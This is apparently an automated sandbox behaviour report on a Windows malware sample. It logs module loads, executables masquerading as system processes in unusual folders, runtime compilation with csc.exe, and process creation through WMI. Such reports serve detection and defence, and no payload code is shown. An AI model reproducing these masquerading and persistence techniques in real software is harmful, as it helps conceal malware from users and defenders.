Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: mscoree.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: apphelp.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: version.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: windows.storage.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: wldp.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: profapi.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: cryptsp.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: rsaenh.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: cryptbase.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: sspicli.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: mscoree.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: version.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: windows.storage.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: wldp.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: profapi.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: cryptsp.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: rsaenh.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: cryptbase.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: wldp.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: wldp.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: sspicli.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: mscoree.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: apphelp.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: version.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: windows.storage.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: wldp.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: profapi.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: cryptsp.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: rsaenh.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: cryptbase.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: sspicli.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: ktmw32.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: wbemcomn.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: amsi.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: userenv.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: dnsapi.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: winnsi.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: textshaping.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: uxtheme.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: textinputframework.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: coremessaging.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: ntmarta.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: coremessaging.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: wintypes.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: wintypes.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: wintypes.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: rasapi32.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: rasman.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: rtutils.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: mswsock.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: winhttp.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: rasadhlp.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: winmm.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: winmmbase.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: mmdevapi.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: devobj.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: ksuser.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: avrt.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: audioses.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: powrprof.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: umpdc.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: msacm32.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: midimap.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: edputil.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: dwrite.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: windowscodecs.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: mscoree.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: version.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: windows.storage.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: wldp.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: profapi.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: cryptsp.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: rsaenh.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: cryptbase.dll
Source: C:\Users\Default\dllhost.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: wldp.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Portable Devices\services.exe	Section loaded: cryptsp.dll

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Directory created: C:\Program Files\Windows Portable Devices\services.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Directory created: C:\Program Files\Windows Portable Devices\c5b4cb5e9653cc			Jump to behavior

Source: t8xf0Y1ovi.exe

Static file information: File size 2133851 > 1048576

Source: t8xf0Y1ovi.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x1af400

Source: t8xf0Y1ovi.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: 7C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.pdb source: decFF62.tmp, 00000001.00000002.1726751178.0000000003941000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline"
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline"			Jump to behavior

Source: t8xf0Y1ovi.exe	Static PE information: section name: .xdata
Source: t8xf0Y1ovi.exe	Static PE information: section name: /4
Source: t8xf0Y1ovi.exe	Static PE information: section name: /19
Source: t8xf0Y1ovi.exe	Static PE information: section name: /31
Source: t8xf0Y1ovi.exe	Static PE information: section name: /45
Source: t8xf0Y1ovi.exe	Static PE information: section name: /57
Source: t8xf0Y1ovi.exe	Static PE information: section name: /70
Source: t8xf0Y1ovi.exe	Static PE information: section name: /81
Source: t8xf0Y1ovi.exe	Static PE information: section name: /92

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Code function: 1_2_00007FFD9B893CB9 push ebx; retf	1_2_00007FFD9B893CBA
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Code function: 1_2_00007FFD9BA86028 push E8FFFFFFh; retf	1_2_00007FFD9BA86031
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Code function: 1_2_00007FFD9BA8812B push ebx; ret	1_2_00007FFD9BA8816A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFD9B76D2A5 pushad ; iretd	20_2_00007FFD9B76D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFD9B952316 push 8B485F94h; iretd	20_2_00007FFD9B95231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9B77D2A5 pushad ; iretd	21_2_00007FFD9B77D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD9B962316 push 8B485F93h; iretd	21_2_00007FFD9B96231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFD9B78D2A5 pushad ; iretd	22_2_00007FFD9B78D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FFD9B79D2A5 pushad ; iretd	23_2_00007FFD9B79D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FFD9B982316 push 8B485F91h; iretd	23_2_00007FFD9B98231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FFD9B78D2A5 pushad ; iretd	25_2_00007FFD9B78D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FFD9B972316 push 8B485F92h; iretd	25_2_00007FFD9B97231B
Source: C:\Users\Default\dllhost.exe	Code function: 32_2_00007FFD9B893CB9 push ebx; retf	32_2_00007FFD9B893CBA
Source: C:\Users\Default\dllhost.exe	Code function: 33_2_00007FFD9B883CB9 push ebx; retf	33_2_00007FFD9B883CBA
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Code function: 35_2_00007FFD9B873CB9 push ebx; retf	35_2_00007FFD9B873CBA
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Code function: 36_2_00007FFD9B8A3CB9 push ebx; retf	36_2_00007FFD9B8A3CBA
Source: C:\Program Files\Windows Portable Devices\services.exe	Code function: 40_2_00007FFD9B893CB9 push ebx; retf	40_2_00007FFD9B893CBA
Source: C:\Program Files\Windows Portable Devices\services.exe	Code function: 41_2_00007FFD9B8A3CB9 push ebx; retf	41_2_00007FFD9B8A3CBA
Source: C:\Users\Default\dllhost.exe	Code function: 49_2_00007FFD9B8A3CB9 push ebx; retf	49_2_00007FFD9B8A3CBA
Source: C:\Program Files\Windows Portable Devices\services.exe	Code function: 50_2_00007FFD9B8B3CB9 push ebx; retf	50_2_00007FFD9B8B3CBA
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Code function: 51_2_00007FFD9B8A3CB9 push ebx; retf	51_2_00007FFD9B8A3CBA
Source: C:\Users\Default\dllhost.exe	Code function: 53_2_00007FFD9B883CB9 push ebx; retf	53_2_00007FFD9B883CBA

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
